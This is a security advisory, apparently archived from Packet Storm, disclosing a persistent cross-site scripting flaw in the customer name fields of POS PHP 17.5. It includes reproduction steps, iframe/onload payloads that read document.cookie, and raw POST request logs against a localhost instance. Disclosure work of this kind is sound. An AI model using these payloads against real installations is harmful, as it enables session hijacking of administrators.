exploit the possibilities

POS PHP 17.5 Cross Site Scripting

POS PHP 17.5 Cross Site Scripting
Posted Apr 28, 2020
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

POS PHP version 17.5 suffers from a persistent cross site scripting vulnerability.

tags | exploit, php, xss
MD5 | 9ea244b2cacb29f6ff2b2cd4f4581e8e

POS PHP 17.5 Cross Site Scripting

Change Mirror Download
Document Title:
===============
POS PHP v17.5 - Persistent Cross Site Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2228


Release Date:
=============
2020-04-28


Vulnerability Laboratory ID (VL-ID):
====================================
2228


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Turn your Retail Small Business into a Customer Focused, Profit
Generating Machine. Guaranteed to save you time,
increase the accuracy of your inventory, and help you make informed
decisions for your business. Types of businesses
that work great with PHP Point of Sale.

(Copy of the Homepage: https://phppointofsale.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site scripting web vulnerability in the POS PHP v17.5 web-application.


Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official POS PHP v17.5 web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to
compromise browser to web-application requests from the application-side.

The persistent web vulnerability is located in the firstname and
lastname parameter of the customer profile module.
Remote attackers are able to change or add malicious script code as
firstname and lastname to customer profiles.
Thus allows to execute the script code with persistent attack vector
against administrators in the backend in the
/customers/ or customers/save/ modules. The request method to inject is
POST via add or edit of the customer and
the attack vector is located on the application-side.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Customer (index.php/customers/save)

Vulnerable Input(s):
[+] Firstname
[+] Lastname

Vulnerable File(s):
[+]

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] index.php/customers/


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by
remote attackers with low privilege user account with low user interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Register a customer account
2. Move to the profile section
3. Inject test payload into the vulnerable firstname and lastname input
field
4. Save the entry and wait
Note: The execute occurs in the backend on preview of barcode, customer
details and more
5. Wait until the admin or other high privileged user roles are
interacting for execute
6. Successful reproduce of the persistent web vulnerability!


PoC: Exploitation
<iframe src="evil.source" onload="alert(document.domain)">
<iframe src="evil.source" onload="alert(document.cookie)">


PoC: Vulnerable Source
Reports - PHP Point Of Sale, Inc "<iframe src="evil.source"
onload="alert(document.cookie)"> >"<iframe src=evil.source
onload=alert(document.cookie)>
Report<small class="reports-range">04/25/2019-04/25/2020</small>
<button class="btn btn-primary text-white hidden-print print_button
pull-right"> Print </button>
<button class="btn btn-primary text-white hidden-print
save_report_button pull-right" data-message="Enter report name"> Add to
Favorites</button>


--- PoC Session Logs [POST] ---
https://pos-php.localhost:8000/index.php/customers/check_duplicate
Host: pos-php.localhost:8000
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 156
Origin: https://pos-php.localhost:8000
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
name=>"<iframe src=evil.source onload=alert(document.cookie)> >"<iframe
src=evil.source
onload=alert(document.cookie)>&email=test@test.de&phone_number=1337
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 19
server: Apache
cache-control: no-store, no-cache, must-revalidate
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly
-
https://pos-php.localhost:8000/index.php/customers/save/
Host: pos-php.localhost:8000
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------229089197438477571343458328424
Content-Length: 5237
Origin: https://pos-php.localhost:8000
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
first_name=>"<iframe src=evil.source
onload=alert(document.cookie)>&last_name=>"<iframe src=evil.source
onload=alert(document.cookie)>&email=test@aol.de&phone_number=&image_id=&address_1=&address_2=&city=&state=&zip=&country=&comments=&
internal_notes=&balance=0.00&credit_limit=1000.00&amount_to_spend_for_next_point=10.00&points=0.00&company_name=&
account_number=&tax_class=&tax_names[]=Sales Tax,Sales Tax
2,,,&tax_percents[]=,,,,&tax_cumulatives[]=0,0,0,0&taxable=1&
tax_certificate=&location_id=&files[]=,,,,&redirect_code=0
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 155
server: Apache
cache-control: no-store, no-cache, must-revalidate
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly
vary: Accept-Encoding
content-encoding: gzip
-
https://pos-php.localhost:8000/evil.source
Host: pos-php.localhost:8000
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
https://pos-php.localhost:8000/index.php/reports/generate/specific_customer?report_type=complex&
report_date_range_simple=CUSTOM&start_date=2019-04-25&start_date_formatted=04/25/2019%2012:00%20am&end_date=2020-04-
25%2023:59:59&end_date_formatted=04/25/2020%2012:00%20am&customer_id=42&sale_type=all&export_excel=0
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=iso-8859-1
content-length: 199
server: Apache




Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™




--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close